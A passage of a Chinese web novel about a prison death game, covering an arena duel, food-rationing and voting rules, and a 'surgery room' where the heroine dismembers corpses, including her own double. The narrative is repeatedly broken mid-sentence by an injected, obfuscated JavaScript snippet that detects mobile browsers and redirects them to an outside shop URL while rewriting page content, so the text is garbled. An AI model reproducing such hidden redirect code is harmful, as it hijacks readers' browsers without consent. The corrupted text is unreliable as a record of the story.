下一瞬间,双马尾忽然调转方向,几乎是同一时刻,梅子喻在空中的手指也朝着那方向指去。 谁先谁后? 根本看不出来。 人群忽地沸腾了。 是她在控制头的走向,是她动动手指,就把巨兽和男鬼溜得满场乱跑! 信用度开始回升。 谁也不知道,梅子喻出了一头冷汗——此刻头又不在她身上,就算哭出来也不会有人觉得是她慌了。 男鬼本一心追着双马尾跑,非要把这个扇自己耳光的头发抓回来切断不可。那巨兽皮再厚也被他的索命绳攻击得掉了一半的血,只要把这东西弄死,接下来就可以专心追头。 他恨得咬牙切齿,于是跑得格外有劲,正全神贯注地投入追逐之中,却忽然听到人群中传来比之前翻腾数倍的欢呼声,而与此同时,自己的信用度开始飞速下降。 发生了什么? 他余光向外瞥去,只见梅子喻端坐场内,悠然喝茶,一手抬起做指挥状。 鹬蚌相争,渔翁得利。 他和巨兽,甚至这头双马尾,都被她利用了! “你……” 男鬼一声没喊出来,走神的这么一瞬,巨兽从背后咬了一大口,利牙贯穿了他的左膀,索命绳也同时从巨兽口中穿过,击碎了它的头颅。 “嗷——” 它咆哮了一声,高大的身子轰然倒地,砸起一片灰尘。 男鬼是这个斗兽场上第一个杀死巨兽的玩家。巨兽倒下后,他的信用度飞快地涨回来,从十几升到了九十多。 痛感强烈,又没有止血的道具。男鬼咬着下唇,跪倒在地,捂着自己不断流血的手臂断口,心里盘算着:解决了巨兽,裁判却还没有来宣布结算,大概是场上还有其他玩家的缘故。他虽重伤,可能没有余力直接解决掉梅子喻,但如果信用度这样涨下去,满分之后,就可以直接结束工作,抬下去治疗。 信用度已经涨到99了。再来一点,就可以下场把剩下两个杀干净,仍旧是他的胜利…… 人群一阵哗然。 又怎么了? 男鬼以为梅子喻要与残血状态的他战斗,心里早已做好准备。 抬头看去,却见她躺下了。 不知何时,她身下出现了一个三件套,此刻翘着腿仰躺在地面,竟像是把斗兽场当成家了一般轻松惬意。 躺好之后,像是逗狗一样,朝双马尾招了招手。 招手? 她在想什么?以为这样就能让双马尾乖乖回来? 男鬼可是体验过脑袋离体的。他很清楚,头和本体脱离后,根本无法控制头发的行动。他知道梅子喻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208966|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前的举动都只是伪装,欺骗观众信用度的小把戏而已,绝不可能真的有用…… 双马尾停下了奔跑的脚步,转而朝着梅子喻缓步走去。 怎么可能? 替身离体,怎么可能还听她的控制?他已经试过了,根本不可能!现在替身绝对在自身的意志行动。 但替身又为何主动回到她身边? 明明对待他这个前主人,都毫不留情地给出两耳光。 男鬼的大脑飞速运转着,他试图给现状想出一个合理的解释。 ——替身是去杀她的吧?对,是这样。一定是这样! 双马尾走的每一步都像踏在他砰砰跳动忐忑不安的心脏上,他暗暗地忖度着——或者说祈祷着,期望着下一刻头发就会给梅子喻身上打出致命一击。 信用度没有变化。所有观众都屏住呼吸,看着双马尾的一举一动,等待它的下一步行动。 走到梅子喻身前时,它却没有回归原位,而是停下了脚步。 果然!它可不是什么听话的好替身,它只想杀戮,如果可以,它甚至想弑主! 它—— 它转过来,朝着男鬼的方向,嘴巴张开,说了两个字。 离得太远,他听不清楚。从嘴型来看,好像是…… 多谢。 头发像是忽然失去生命一般,软软地垂下去,脑袋咚的一声坠落在地,被一双手捡起来,摆到空空的脖子上。 物归原主。 人群中爆发出了前所未有的喝彩。果然,从人头分离,到引诱其他玩家下场杀死巨兽,一切尽在她的掌控之中,她才是真正的赢家! “本次结算,囚犯‘梅好明天’信用度达到了满点100分!恭喜你,梅好明天,你顺利地结束了这次工作,并赢得了全场观众的最高认可!” 男鬼瞳孔紧缩,身子不由自主地颤抖起来,那是被人又一次夺走所有物的剧痛。 梅子喻夺走的,是本应该属于他的认可,本应该属于他的信用度,本应属于他的胜利! “梅好明天——梅好明天——” 观众终于知晓了她的名字,开始齐声高呼。震天呼喊中,男鬼面目狰狞,想要奋起掐死那个抢夺他一切的可恶的人,但血液和信用度一起飞速流失,身子用力时反而一软,跌坐地上。 他恍惚了一瞬。 明明只差一点,他就赢了! 为什么?为什么?为什么和上一局一样,总有一些他料想不到的操作? 为什么她总能胜利?为什么她总能起死回生? 她到底哪里强过他。 眼前逐渐模糊,白光从四周覆盖掉视野,记忆中的最后一幕,他看着狱警将他抬了下去。还好,信用度没有跌到0,不会持续扣血。只要将他治好,他就还有生存的希望。只要他还没死,总有一天,他会亲手取回他的头发,取下她的项上人头。 以一种她不会复生的方式。 —— 梅子喻摸了摸脖子上的头,倍感踏实。 至于被担架抬下去的男鬼此刻心中对她有几分怨念,她并未在意,甚至没有多看他一眼。 她只顾着盯着自己的信用度一路上涨到满分100点,这才松了口气,换了一个舒服的躺姿。 可能,这就叫做躺赢吧。 31. 夜晚一、博弈 工作结束,一片欢呼声中,梅子喻从胜者的专属通道离开了。 不知后面玩家的信用度会不会因为她这些操作被拉高,如果会的话,希望他们不要恨她。 非要恨的话,也没办法。毕竟,她也不想这样震撼地直接解决第一天的工作的。 她只是没想到说服头发这么容易—— “玩腻了没?这里人太少了,观众又杀不了。你回来,我们把信用度赚满,带你去别的地方玩,找个人多的地方随便你杀。” 头发的想法,和纸神一样简单。 梅子喻觉得自己已经掌握了拿捏替身的方法。 …… 来时的路一片黑暗,回去的路却正相反,是一条充满阳光的玻璃小径。即使刚经历过斗兽场上的血腥厮杀,在这静谧明亮的小路走上一阵子,心里也慢慢平静下来。 到达食堂时,光亮倏地暗下去。果然如狱警所说,回去之时,就是夜晚。 每个人离开工作场地的时间都不同,但他们似乎是在差不多的时刻回到食堂的——梅子喻回到自己的桌子时,已经坐了两个人。没过一会,男鬼和另两人也回到了位置。 她和男鬼刚才还在场上互相算计,恨不得杀死对方,此刻并肩坐在一桌,一会还要回到同一间牢房睡上下铺,想想还有点刺激。 梅子喻紧盯着男鬼的一举一动,生怕他什么时候突然暴起攻击自己。不过目前看来,他还有理智:估计是顾及着身上未好的伤口以及余下不多的信用度,他甚至没有骂梅子喻一句,而是貌似平和地、安静地坐在一边。 只是偶尔与她对视之时,眼神里透着藏不住的杀意。 六人到齐,一时间没人说话,脸上都有些说不出的痛苦和疲惫。看来不论选择了光明之路还是黑暗之路,都不会经历什么好事情。 良久,之前主持局面的羽毛先开了口。 “大家都遇到了什么?我先说下我和酒精去的地方吧,是一个加工厂。要完成的工作就是分拣、加工……在无限的时间里不停地工作,直到完成要求的目标。做的越快,得到的信用度就越高。” 听起来很无聊,但貌似并没什么生存危机。 工作开始前,大家都对加群/交流一事很感兴趣,不过此时此刻有人讲述自己的情况时,也没几个人积极响应,大多没精打采,沉默不语。 看来,他们都还没有完成自己的工作,所以对“找下一份工作”这件事没有太大兴致。 梅子喻做了第二个分享的人。 “我那条路是斗兽场,需要和一头怪兽战斗获得观众认可,取得信用度。” 光芒跟着说道:“我那里是手术室。得信用度的方式是……选择,然后拆分。” “镜子迷宫。”春笋简单地说道。她光是说出这几个字都满脸厌恶,看来这是一份绝对糟糕的工作体验。 梅子喻并不准备告诉他们自己已经结束了第一份工作的事情。这是一关要竞争资源的生存游戏,目前还不知道竞争的规则是什么。 很可能和信用度有关,而她刚刚拿满,很容易成为众矢之的。 几人还未来得及多交流几句,广播突然响起。 “亲爱的囚犯们:” “美好的白天已经结束了。你是否成功找到了你的罪名呢?希望你已经是一个真正的囚犯了,否则,你不具备在我们的监狱里关押的资格。” “也就是说,如果你没有找到罪名,那么你将被无罪释放!” 此话一出,食堂内举坐皆惊。 他们那么努力地找到了罪名,结果现在说无罪释放? 被耍了一通,虽然没人能坐得住,但也没有人傻到和规则挑事,只是心里不爽。 “现在,请无罪的玩家们前往食堂门口,举行出狱仪式!” 广播说完,数十个个狱警走到那些未找到罪名的玩家身边,两人一对地将他们押到食堂门口。 大约有七八个人没有找到罪名。 没人知道接下来会发生什么,他们没有反抗,就这样顺从地走过去,排成一排。 两名狱警拿了拉炮礼花,高高举起,像是要庆祝一般,拉动了线—— 砰的一声,和礼花一起炸开的还有他们的头,血液和纸屑同时散落空中。 “恭喜,你们解脱了!” 食堂里沉默到连呼吸声都清晰可闻。 他们“解脱”了? 游戏失败,生命结束,倒确实也算是一种“解脱”。 只是真正想解脱的人早就死了,活到现在的玩家里,没人渴望这种解脱。 ——所以,正确的玩法果然还是要遵守游戏规则。要他们不说话就闭嘴,要他们找罪名就找,无论如何,能不扣信用度就不扣。 狱警们给刚找到罪名的玩家们带上戴上手铐。现在场上的所有人都是有罪名的囚犯了。 广播激情洋溢地播报。 “亲爱的囚犯们,你们的监狱之旅在此刻正式开始!” “接下来,我要说明一些监狱内的规则,请严格遵守,否则你将被消除罪名,无罪释放。” “第一、请不要武力攻击你的狱友。不过,每天早餐前都有投票环节,可以使用你的一部分信用度扣掉某一名指定玩家的对应数量信用度。” 梅子喻和坐在身侧的男鬼对上了视线。 不允许武力攻击,但是可以把其他玩家的信用度扣到0,这样这名玩家就会持续掉血。如果没有有效的补血手段,就会死掉。 而且,这样的手段只能在同一桌之间使用。 “第二、每天的早晚饭时间,我们会给每桌的囚犯们带来等同于玩家数量的食物份数,囚犯可自行决定要拿走多少食物和水,届时将按照信用度的高低依次进行分配。如果你没分到,也可以进食属于你的那份,只不过不会回血。” “不过,你们最好能保证自己吃饱喝足,如果两天不吃饭,你很可能会血量过低,在工作或睡觉中死去。当然,如果你多吃,也可以把血量补回来。” 这句规则有一个关键信息:两天。 满血是100,一天早晚两顿饭,一顿不吃默认扣25点血,但如果多吃,也可以加血。睡觉回血比较慢,上次睡了一晚上才回了5点血,不吃饭是活不下去的。 说是竞争食物和水,不如说是竞争血药。 “第三、吃饭时间,你们每一桌人所能使用的语言是有限的。信用度高的人,将拥有更高的语言额度。” 语言是有限的,信用度高的人可以说更多的话。 梅子喻不由得想起规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208967|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则所说:语言是力量和生存的希望。 “第四,如果一桌人数少于四位,或者一间牢房人数少于两位,会进行餐桌和牢房的合并。请珍惜你现在的狱友。” “第五,现在,亲爱的囚犯们,请享受你们的晚餐!” 狱警端上了和早上一样的饭菜,一人一份摆在每人面前。 “请囚犯们选择数量。” 梅子喻将手放在饭菜上方,出现了一个数量输入的空白。她余光瞥向隔壁,看不到别人输入的内容。 玩家并不会知道其他人选择的数量。 梅子喻现在信用度满点,在这桌上就算不是第一也是并列第一。她甚至怀疑如果自己一直选6份,说不定能用两天就把桌上的其他人都饿死。 但是,没有这个必要。竞争也不是非要争个你死我活,这时她并不需要补血,只要正常吃饭喝水,把血量维持在健康状态就好了。 不过可以想见,除了她以外,对自己信用度没有信心的玩家,都会尽可能地选更多份,毕竟这样选择只赚不亏。 但如果选了最多份的那位被猜出来,之后他也很可能被其他玩家用信用度杀死。 此时,信息就显得尤为关键。 比如梅子喻知道男鬼现在信用度和血量都见急,他会需要更多的食物,但同时他也更容易被扣信用度而死。 其他四个人中,春笋去了镜子迷宫;光芒去了手术室;酒精和羽毛一起去了加工厂,知道彼此的情况。从两个的状态来看,没有太大的矛盾。 起码不像是男鬼和梅子喻一样,是只能活一个的关系。 “我建议大家将自己要选的份数先说出来。”光芒忽然开口说道:“我会选一份,我的信用度还很高,血量也够。” 新的规则出来之后,表示信用度高则是比较优的策略,因为这样一来,用信用度攻击这名玩家就显得不划算。 他敢于在并不知道语言上限之时就开口,说明他确实对自己的信用度有信心:只要他说过的话比其他人多,潜在含义就是他并不是信用度垫底的那个。 梅子喻心里盘算,光芒大概属于知道自己信用度不低,但也没把握保证自己最高的那一类:他其实很需要血,主动提议大家都说出来,是因为他害怕信用度最高的那个把食物都抢走。 “我要一份。” 梅子喻说道。 “我要两份。”男鬼开口。“我需要血。” 他说话很简洁,说明信用度确实很低。不过其他玩家对他不熟,似乎并没发现异常。 “一份。”剩下三人几乎是异口同声地说道。 “不过这样,会有一个人吃不上饭。”梅子喻道。 没人接话。 看来大家对自己的信用度都没什么自信,并不想因为话说不完而暴露自己信用度的多少。 “各位囚犯都选好了吗?” 无人应答。狱警说道:“那么,请享用。” 玩家面前的食物没有变化,每个人都低下头去,沉默地吃饭——只不过,谁也不知道他们是真吃还是假吃。 梅子喻确实选了一份,也只吃了一份。 她偷偷瞥向男鬼:从那不太妙的表情来看,他可能没吃上饭。 或许,没吃上饭的不止他一个。 32. 手术室一、肢解 晚餐后,囚犯们陆续回到牢房。 广播播报:“今夜规则:夜晚请不要说话和打字。” 夜晚的规则……缩圈了? 梅子喻躺在床上,整理了下目前的游戏规则。 一天被划分成三个时间段,工作时间,吃饭时间,睡觉时间。 吃饭时间,一日两顿,一顿不吃扣25点血。可以在早餐前的投票中扣除他人信用度,也可以用有限的语言交流——这里的语言,应该包括说话、打字等任何形式。 工作时间,赚取信用度,完成每日任务,不完成会直接“解脱”。语言不作限制。 睡觉时间,遵守每夜规则。第一晚是不允许说话,第二晚是不允许说话和打字。他们白天在工作和食堂中都少有时间用手机联络他人,同时还受着语言额度限制。这样一来,他们将很难和本桌以外的人交流。 梅子喻忽然想到,晚上没法联系诗童了,要明天白天才能发消息。 原本还想问问她今天怎么样的。 打开手机,看到诗童在晚餐时间给她发来消息: 别去左一黑路 是春笋去的那条路,镜子迷宫。梅子喻记得春笋提到这个地方的时候,也满脸抗拒。 这地方的工作很难做吗?诗童现在怎么样? 她有些担心,但现在已经到了夜晚,无法回复,只能明早再问问。 她往上翻消息,忽然发现星星在工作时间给她私发了一条消息: 第一条黑暗之路不错哦,推荐来玩 梅子喻:…… 这家伙怎么回事? 她原本是想去镜子迷宫帮诗童一把的,但星星这样一说,她又不想去了。 还是明早看情况再做决定吧。 梅子喻合上眼睛,就要入睡。却听下铺又传来咚咚的敲墙声。 狱友之间不能相互攻击,她和男鬼回到牢房后谁也没理谁,各自上床睡了。现在怎么又开始敲墙? 难不成,灰烬人格又苏醒了吗? 梅子喻本不想搭理,但想到如果是灰烬人格,还是可以关心一下的,于是探着头朝下望去。 男鬼靠着墙闭上眼,面带疲惫,似乎已经睡过去了。他的嘴一开一合,却没发出任何声音,手随着张嘴的频率敲动墙壁。 虽然现在这人已经睡过去了,但梅子喻总觉得,此时控制身体的应该是灰烬人格。 他看起来十分想倾诉对梅子喻的恨意,想到就连睡过去了也要张嘴吐露——夜晚不能说话,于是他只能通过一切能表达的方式表达。 与白天斗兽场上同样的节奏,让梅子喻不由得幻听了那时灰烬喊出的话。 笃 笃 笃 我 恨 你 这话是只想对她一个人说的,所以无论是敲墙还是说话,都只有她能听到。 …… 这一夜睡得也不好。梅子喻做梦都是灰烬化作鬼缠上来,质问她当时为何不救他,又质问她为何放任男鬼抢他的头。 从噩梦中挣扎着醒来,梅子喻迷迷糊糊地打开手机,看到星星又给她私发了一条消息。 星:如果考虑换工作的话,推荐来我们这条路玩,儿童文学也在哦 她皱了皱眉,直接忽略,给诗童发消息。 梅子:你能撑过去吗?我第一份工作结束了,可以去帮你 如果不是这个鬼星星反复向她推荐镜子迷宫,她今天一定会直接选择这条路,和诗童会面。 但现在,着实有些犹豫。 早饭时间,梅子喻先男鬼一步进入了餐厅。男鬼从起床之后一直没开口,也没看过她一眼,不知现在是哪个人格,在暗自盘算着什么。 又或者仅仅是信用度太低,说不了话。 小心谨慎到一句话都不肯说,可能信用度已经低到岌岌可危的地步了。 早餐前,狱警先送上了六份食物,然后才是投票环节。 这下六人都有些震惊——他们以为是先投票,再送食物。那样的话,投票就没什么意义,毕竟就算投掉了一个人,还是要五个人分五份。 可现在却是以投票前的食物数量,分给投票后的人数。 主持他们桌的狱警说道:“请各位囚犯开始投票。” 每人一份的刀叉上出现了新的空白,可以在此指定玩家以及选择要扣除的信用度。如果不想参与,也需要填上“放弃投票”,仅从动作上,看不出别人做了什么选择。 很快,六人填写完毕,第一轮似乎没人有什么犹豫。 “投票结束,现在公布结果:无人解脱。” 平安夜。 六人不露声色地各自低下头吃饭。 无人解脱,并不意味着无人受到攻击——但恐怕这一点,只有使用了攻击和受到攻击的玩家才能意识到。 梅子喻快速吃完了早餐,反复看着手机。诗童一直没有回复,可能是语言受到限制的缘故。 她刚刚给男鬼投了五点。 男鬼没死,不过信用度会被消除五点。想必他也猜的到是她投的,毕竟其他人并不了解他的信用度情况,和他也无冤无仇。 他昨晚虽直说自己要两份食物,但大概率没有得到。其他拿到了一份甚至多份食物的人,可能并不会将他视为攻击目标,还会觉得他坦诚相待,可以久留。 其实,在目前的规则下,攻击信用度最低的玩家没什么意义——毕竟,他已经很难抢到食物了。 最好的方法,是和别人联合起来攻击一位比自己信用度高、且所需食物多的玩家。 梅子喻不想透露自己的高信用度,不然很容易被群起攻之,但她今天要换一份工作,同工作且同桌的玩家就会发现她信用度满分的事实。 既然如此,有两个同桌的路线“加工厂”就不考虑了。剩下两条路,是和春笋、诗童以及星星一同工作的“镜子迷宫”,和与光芒一同工作的“手术室”。 大部分人进食完毕后,广播适时播报道:“今日规则:在夜晚到来之前找到工作。” 第一天的规则是找到罪名,第二天的规则是找到工作。 男鬼砰的一声站起来,头也不回,快步走进斗兽场。 他今天一定会努力地厮杀,挣回信用度。当然,也可能就这样在场上耗尽血量和信用度,原地解脱。 其他几位玩家互相没有交流,最多只是对视之时无奈地叹口气,就这样哀哀怨怨地各自走了之前的路线。 梅子喻走在最后,到斗兽场门口时停了一会,待其他玩家都走掉,才掉头来到了新的路。 诗童还没回消息,她对星星又有提防。 下一个工作,还是先选手术室好了。 走过长长的光明之路,前方是一片无机质的白炽光。走近之后,可以看到无数间玻璃墙壁的小手术室,一间接一间密集地排布成两列,中间则是一条狱警视察通路。 每一间手术室里都摆着一盏巨大的照明灯,使得房间里玩家的一举一动都清楚可见。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“回答错误!真正的良心法医是,知道哪些尸体是有价值的,值得继续投入社会,发光发热!” 小美指向第一张图,这里有一个小人死去了,旁边医生摸着下巴,作思考状。 “请看!小明死去了,一个良心的法医在判断他的人生是否有价值。” 是否有价值。 梅子喻心里默默地念了一遍,这应该是这关游戏的要点了。 下一张图,小人的人生以三张小图展现出来,优秀学生,伟大企业家,年老时普通地病死。医生作点头状,在“确定”和“下一个”的两个按键中选择了“确定”。 “良心法医认为小明的人生很有价值,幸运的是,他选对了!” 再下一张图,医生的数值提升,开心地肢解了小明。 “良心法医将小明的遗体拆分,正确的选择让他的良心值大大提升。小明和良心法医都很开心!耶!这里是快乐手术室!” 梅子喻:“……”真的快乐不起来。 她看到屏幕右上角有行字: 梅好明天医生的良心点数:0 小美:“作为初级医生,一天只有十具尸体供你选择。选择拆分的尸体越有价值,你得到的良心点数就越多;不过当你选错时也会依据价值进行扣分哦。” “当你的拆解和分类做的更好时,你也会升级。级数越高,可选择的尸体也就越多!所以,请尽可能选择有价值的尸体进行拆分,并且拆得越熟练越果断越精准就越好!毕竟我们可是专业医生哒。” “光是教程有点枯燥,我们实战演练一下吧!注意,这次演练也计分的,要谨慎对待哦。” 小美敲敲屏幕,手术室后门自动打开,一份遗体从中缓缓推出。 “这是第一份遗体!” 梅子喻:…… 这遗体有点眼熟。 等等,这不是她自己吗? 33. 手术室二、诈尸 虽然对于出现尸体早有预期,在这样冰冷的手术灯下看到自己惨白的脸,多少还是感到些惊悚。 梅子喻下意识拖着椅子向后退了几步,避免和自己的尸体离得太近。 自然,她还活着。所以躺在那里的应该只是个替身,或者别的什么拟人形态的非生命物体。 小美:“请看生前影像!” 屏幕上出现许多裁切成方块的视频片段,梅子喻点开了几个,分别是她幼年期在河里差点淹死、被拐卖转手、被雷劈但没钱住院、目睹杀人凶手消灭证据等等。 这是什么闻者落泪的悲惨人生精彩cut。 她把那些从封面就能看出来惨的划掉,又点了几个看起来平凡一些的片段。 分别是吃不起饭饿得满地打滚,翻垃圾桶找吃找喝,上学期间被霸凌反击后被迫退学,艰难地找到工作然后一天被开除,交不起房租被房东赶出出租屋…… “……” 这就是鞭尸的感觉吗? 再看就不礼貌了。她速速划掉这些琐碎片段,本想全部跳过,但最后一张图吸引了她的目光。 那是一段3秒的超短视频。 一个昏暗的清晨,她出门准备长跑,却在走廊里遇见了杀人现场。这次没有童年时躲藏的幸运,她被当场杀害,销毁证据。 她的记忆中没有这段。不过,鉴于她没死,而躺在那里的是具尸体,她认为这是那具尸体的结局,而不是她的。 又或者是游戏编纂出来的。 梅子喻平静地点掉自己的死亡视频,来到选择页面。 两个按键:确定/下一个 按照小美之前说的,她的人生越有价值,解剖后得到的点数就越多。 梅子喻不是对人类做出过贡献的杰出人物,从世人的眼光来看,绝对算不上什么有价值的人,但如果让她给自己打分,必须是满分。 面对这样的人生都坚定地活到现在,这样的信念还够不上一个“有价值”的评价吗? 思来想去,这种抽象的东西还是不要自己随意理解,要看游戏的定义。 “提问,怎样的尸体更有价值?” 小美答道:“价值,也就是信用度!” 这样一来,又归回到“监狱”这关的核心指标:信用度。 梅子喻多少也能理解一些其中逻辑: 信用度就是满足期待,而符合大众的期待,符合社会的标准,自然也会被广泛地认为“更有价值”。 也就是说,倒也不必真正度过有意义的一生。只要符合外界对“人类”这个身份的期待,死之后就会被判定是有价值的尸体。 “我懂了。” 梅子喻自信地点击确定键。 屏幕一闪,来到结算页面。 小美:“很遗憾,你做出了相当错误的选择。良心点数扣90分!扣分的多少也和尸体的价值息息相关,所以建议最好不要选择价值超级低的尸体进行拆分哦~” 梅子喻:………… 她愤怒地一拍工作台,站了起来:“我信用度是95,今早用掉之前甚至是满点,为什么说我没价值?” “如果现在的你死掉,你会是一具有价值的尸体。”小美淡定解说:“但过去的你,如生前影像可见,度过了无趣、悲哀、低级、且完全没有价值的一生!如果你在最开始的不幸发生时选择终结自己,反而会变得更有价值。因为社会对你这种人的期望就是——” 它将屏幕操作到下一个界面,里面写着五个字: 早死早超生。 梅子喻:? 小美:“没错!就是早点去死不要浪费社会资源啦!” “喂。”怎么还进行人身攻击啊? 不过和游戏NPC争辩没有意义,它说什么就是什么好了,游戏规则如此,只能接受。 挣扎着活到现在,梅子喻对人生有自己的理解,并不会被NPC的批判影响意志。 她平复下心情,重新整理思路:她对信用度的理解应该没错,只是要依据影像进行判断,不要代入现实。 毕竟躺在那里的尸体也不是真正的她。 “另外还需要说明一点——”小美补充道:“每一天的工作结束后,良心点数和信用度会进行一比一的等价换算!也就是说,如果到了晚上你的良心点数还是-90,那么你的信用度也会扣90点。” “同时,当你的良心点数达到100点时,你就已经完全胜任了良心法医的工作,可以去做下一份工作啦!” 也就是说,梅子喻现在的信用度等同于5点。 她今天的初始信用度是95,已经很够用了。不求今天能赚满100个良心点数换工作,只要今天工作结束时能将良心点数拉回0,维持住现有的信用度就好。 “接下来,请按照教程进行尸体的拆分。” 屏幕上显示了一份简单的拆尸图解,大体分三步:第一、用手术刀划开尸体,取出器官;第二、躯干和四肢分开;第三、五官拆开。最后将这些分类放在篮子里就可以了。 小美之前说,拆得好一点会升级,能得到更多的尸体。 梅子喻倒是想拆好一点,只是拿起手术刀,对着自己的尸体,还是有些茫然。 她看看教程,再看看自己——就这样把脸从中间划开吗? “呕——” 这呕吐声来自对面。梅子喻踮起脚尖偷偷看去,见光芒已经拆完了第一份,伏在墙角干呕。他的手术台上很干净,没有弄得乱七八糟,分类也十分利落干错,没有连汤带水。 不愧是昨天就工作过的老手,比她熟练多了。 梅子喻心一横,闭上眼,把刀狠狠插入尸体两眼之间。 “嗷!” 手下的东西发出了一声叫唤。 梅子喻:“……” 是叫了吧?刚才这个尸体是叫了吧? 她惊恐地睁开眼,看向手下那不知道是尸体还是什么物种的东西—— 这玩意刚才应该……还是闭着眼睛的? 现在为什么睁着眼,一副死不瞑目的样子? “小美,这尸体……是活的还是死的?” “请放心~当尸体和医生为同一id并相遇时,可能会发生诈尸现象,是一个蛮常见的bug。而且就算她之前没死,现在也是死了。” 同一id? 这个游戏里之前似乎并没有出现过id的概念。不过梅子喻也能理解:也就是说,这玩意应该就是她的替身。 她进入游戏后,现实中就出现了替身代替她生活,现在这个可能也是不知道什么时候激活的一个替身。 梅子喻胆战心惊地拔出手术刀,血液喷涌而出时,系统忽然弹出一条成就来。 【解锁成就:唯一性】 【成就说明:你杀死了一个和你高度相似的替身。你想成为那个唯一的存在吗?】 【成就buff:暂无。请尽量减少此类行为,避免引发bug。】 这条成就buff似乎有点奇怪。 不过此时梅子喻没心情细想,一心都在解剖之上。 经历过掉头事件后,切割自己的替身似乎也变得没那么难以接受了。她克服掉最开始的不适,用仪器从刀口处分开皮肉,后续按照教程一步步操作:切割,拆分。 虽说心理上没有太多恐惧,但真正实操时,还是处处困难。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208969|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>脑花漏了一手,眼珠子掉到地上,到处都是血和不明液体,手术台上一片狼藉。 她真的很不擅长肢解自己。 几十分钟后,梅子喻终于将尸体处理完毕,分类排好,放进篮子里。 沾着血的手点向屏幕上的“已完成”,篮子和尸体残骸自动收了回去。 “恭喜你完成了第一次拆分!”小美鼓掌道:“接下来,是第二份遗体。” 梅子喻长出一口气。虽然这番操作十分混乱,但也有些熟悉了。下次她一定可以做得更好。 后门打开,第二份遗体缓缓推出。 是男鬼。 看到又一张熟悉的面孔,梅子喻微微一愣。 男鬼在进入游戏前是怎么样的人? 虽然她对他并无好感,但对此多少也有些好奇。 第一段,幼年期的小男孩手拿金色奖杯,神情胆怯。两个西装革履的大人站在身后,将他推上领奖台。 第二段,成绩下滑,沉迷电子游戏。被大人关在家里禁闭。愤怒的少年砸掉屋里的一切,但最后还是乖乖坐在桌前,补完了那天的作业。 第三段,还穿着校服的初中生虐杀小动物,露出了带着快感的笑容。 第四段,高中模样的青年杀掉了排名比自己靠前的学生,肢解并藏尸。 第五段,步入社会的男人事业有成,踏入上流阶级,嘴里谈的都是几个亿的生意,在网上也有了知名度。 第六段,登上富豪榜排名,同时捐款上千万,广受好评。 第七段,家里收集了许多人体器官。 第八段,这些年来犯下的罪行被侦破。男人被捕入狱,即将死刑。 原来是死刑犯。 怪不得会搞那种没有人性的大逃杀,原来之前就是死刑犯。像他这种人,进入游戏大概算是一次新生——在原本的世界,已经没了活下去的出路。 所以,这种功成名就的杀人犯,会被认为是有价值的人吗? 梅子喻本没有犹豫,已经快要按到“下一个”的按键,但触碰到屏幕的前一秒,却忽然又停下来了。 这可不是按照自己三观做事情的时候。 她盯着自己沾满鲜血和组织液的指尖,慢慢地移到左边的按键。 让他们像动物一般做猎物和猎人的游戏,又怎么可能在意人类之间的自相残杀呢。 梅子喻按下了确定键。 “恭喜你,良心点数加30分!一个成绩优秀的学生,一个事业有成的男性,一个伟大的慈善家,一个坐拥上亿资产的富豪。虽然有一些小小的污点,但——不差的脸、传奇的经历以及钱、钱、钱还有许多的钱,使得他入狱之后写下的自传被广为流处,有了不少粉丝。他是一具很有价值的尸体!” 梅子喻没说话,拿起手术刀,坐在男鬼尸体前。 她将刀子高高举起,没有闭眼,就这样直直地盯着目标——是从心脏处切开,还是从两眼间穿透?捅下去的时候,能否听到他的惨叫声? 噗呲—— 手术刀最终的落点是心脏。 插下去之后,却没有像上次那样剖开。 “小美。”一片安静之中,梅子喻轻声说道:“我有点想吐。” “想吐是很正常的~毕竟你还是初级法医。这里这么多法医,每个人都在最开始工作时吐过。只要多多拆分,多多练习,慢慢你就会习惯……” 小美滔滔不绝地讲着,梅子喻却没有在听了。 此刻的反胃感,是因为解剖尸体吗? 不。 她对着自己的尸体都能下手,男鬼又算什么。 她只是不想让这具有价值的尸体玷污自己的双手。 34. 手术室三、价值 当啷。 梅子喻将手术刀丢在台子上,轻声说道:“头发,交给你一个工作。” 她半操控着头发捡起手术刀,闭上眼睛之时,头发便自顾自地动了起来——极其利落地卷起利刃,猛地插入它前主人的身体之中。 剖开,拆解。对于喜爱杀戮的替身来说,大概颇具乐趣。 咔咔咔——咔咔咔—— 她听到头发边拆边笑,没一会,男鬼的尸体被划得整整齐齐,变成几个均匀的肉块。器官也被拎出来一一排好,一眼看过去,清晰明白,只要再放进分类的篮子里就可以了。 